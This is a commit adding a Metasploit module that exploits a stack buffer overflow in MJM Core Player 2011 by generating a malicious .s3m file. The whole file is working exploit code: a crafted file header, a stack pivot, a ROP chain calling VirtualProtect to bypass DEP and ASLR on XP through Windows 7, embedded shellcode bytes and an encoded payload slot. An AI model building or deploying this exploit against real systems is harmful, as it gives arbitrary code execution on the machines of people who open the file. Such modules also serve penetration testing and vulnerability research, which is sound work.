Added MJM Coreplayer s3m bof

git-svn-id: file:///home/svn/framework3/trunk@12473 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb

@@ -0,0 +1,170 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = GoodRanking
+
+	include Msf::Exploit::FILEFORMAT
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'MJM Core Player 2011 .s3m Stack Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a stack buffer overflow in MJM Core Player 2011
+				When opening a malicious s3m file in this applications, a stack buffer overflow can be
+				triggered, resulting in arbitrary code execution.
+				This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7. 
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+						'rick2600',      #found the vulnerabilities
+						'corelanc0d3r',  #rop exploit + msf module
+				],
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'URL', 'http://www.corelan.be/advisories.php?id=CORELAN-11-004' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Payload'        =>
+				{
+					'Space'       => 2339,  #about 0x900 bytes
+					'DisableNops' => 'True',
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows Universal Generic DEP & ASLR Bypass',
+						{
+							'OffSet' => 819,        #core player.exe
+							'Ret'    => 0x1000156f, #core player.exe
+						}
+					],
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => 'Apr 30, 2011',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptString.new('FILENAME', [ true, 's3m file',  'song.s3m']),
+			], self.class)
+	end
+
+	def junk
+		return rand_text(4).unpack("L")[0].to_i
+	end
+
+	def exploit
+
+		print_status("Creating '#{datastore['FILENAME']}' file ...")
+
+		header  = "\x42\x42\x42\x42\x42\x42\x42\x42\x41\x41\x41\x41\x41\x41\x41\x41"
+		header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x10\x00\x00"
+		header << "\x24\x00\x00\x01\x00\x0d\x08\x00\x20\x13\x02\x00\x53\x43\x52\x4d"
+		header << "\x40\x06\x94\xb0\x10\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		header << "\x00\x08\x01\x09\x02\x0a\x03\x0b\x04\x0c\xff\xff\xff\xff\xff\xff"
+		header << "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
+		header << "\x06\x00\x03\x01\x02\x04\x05\x07\x08\x09\x09\x0a\x0b\x0c\x0d\x0e"
+		header << "\x0f\x10\x10\x11\x12\x13\x14\x15\x16\x16\x17\x18\x19\x18\x1a\x1b"
+		header << "\x1b\x1c\xff\xff\x13\x00\x18\x00\x1d\x00\x22\x00\x27\x00\x2c\x00"
+		header << "\x31\x00\x36\x00\x3b\x00\x40\x00\x45\x00\x4a\x00\x4f\x00\x54\x00"
+		header << "\x59\x00\x5e\x00\x63\x00\x68\x00\x6d\x00\x72\x00\x77\x00\x7c\x00"
+		header << "\x81\x00\x86\x00\x8b\x00\x90\x00\x95\x00\x9a\x00\x9f\x00\xa4\x00"
+		header << "\xa9\x00\xae\x00\xb3\x00\xb8\x00\xbd\x00\xc2\x00\xc7\x00\xcc\x00"
+		header << "\xd1\x00\xd6\x00\xdb\x00\xe0\x00\x14\x01\x4d\x01\x87\x01\xc0\x01"
+		header << "\x0e\x02\x5a\x02\x9a\x02\xe9\x02\x40\x03\x7f\x03\xc0\x03\x01\x04"
+		header << "\x28\x04\x52\x04\x86\x04\xb9\x04\xea\x04\x1a\x05\x41\x05\x6e\x05"
+		header << "\x96\x05\xbc\x05\xeb\x05\x25\x06\x78\x06\xcc\x06\x21\x07\x72\x07"
+		header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		header << "\x01"
+
+
+		footer  = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
+		footer << "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
+		footer << "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
+		footer << "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0"
+		footer << "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"
+		footer << "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff"
+		footer << "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d"
+		footer << "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" 
+		footer << "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44"
+		footer << "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
+		footer << "\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68"
+		footer << "\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" 
+		footer << "\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
+		footer << "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x00"
+		footer << "\x00\x00\x00\x00\x00\x00\x00\x00"
+
+		print_status("Preparing payload")
+
+		pivot = [target.ret].pack('V')
+
+
+		rop_gadgets =
+		[
+			# pvefindaddr rop 'n roll
+			0x004c0021,  # POP ECX # RETN
+			0x00000000,
+			0x0042850e,  # PUSH ESP # ADD EDI,EDI # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0C
+			junk,
+			junk,
+			junk,
+			0x00461248,  #  MOV EAX,EDI # POP EDI # POP ESI # RETN
+			junk,
+			junk,
+			junk,
+			junk,
+			junk,
+			0x004ac31d,  # POP EBX # RETN
+			0x00000900,
+			0x004a8032,  # POP ESI # RETN
+			0x00000080,
+			0x10009ea7,  # ADD EAX,ESI # POP ESI # RETN
+			junk,
+			0x004def0d,  # XCHG EAX,EBP # RETN
+			0x004c0145,  # POP EAX # RETN 
+			0x005e0ae0,  # VirtualProtect
+			0x00408242,  # MOV EAX,DWORD PTR DS:[EAX] # RETN
+			0x0052001a,  # XCHG EAX,ESI # RETN 00
+			0x004c0729,  # POP EDX # RETN
+			0x00000040,
+			0x004c0021,  # POP ECX # RETN
+			0x00401000,  # RW
+			0x00448142,  # POP EDI # RETN  
+			0x004ae7ce,  # RET
+			0x004c0145,  # POP EAX # RETN
+			0x004ae7ce,  # RET
+			0x0052158e,  # PUSHAD # RETN 00 
+		].pack("V*")
+
+
+		buffer  = rand_text(target['OffSet'])
+		buffer << pivot
+		buffer << rop_gadgets
+		buffer << make_nops(100)
+		buffer << payload.encoded
+
+		filecontent = header + buffer + footer
+
+		print_status("Writing payload to file")
+
+		file_create(filecontent)
+
+	end
+
+end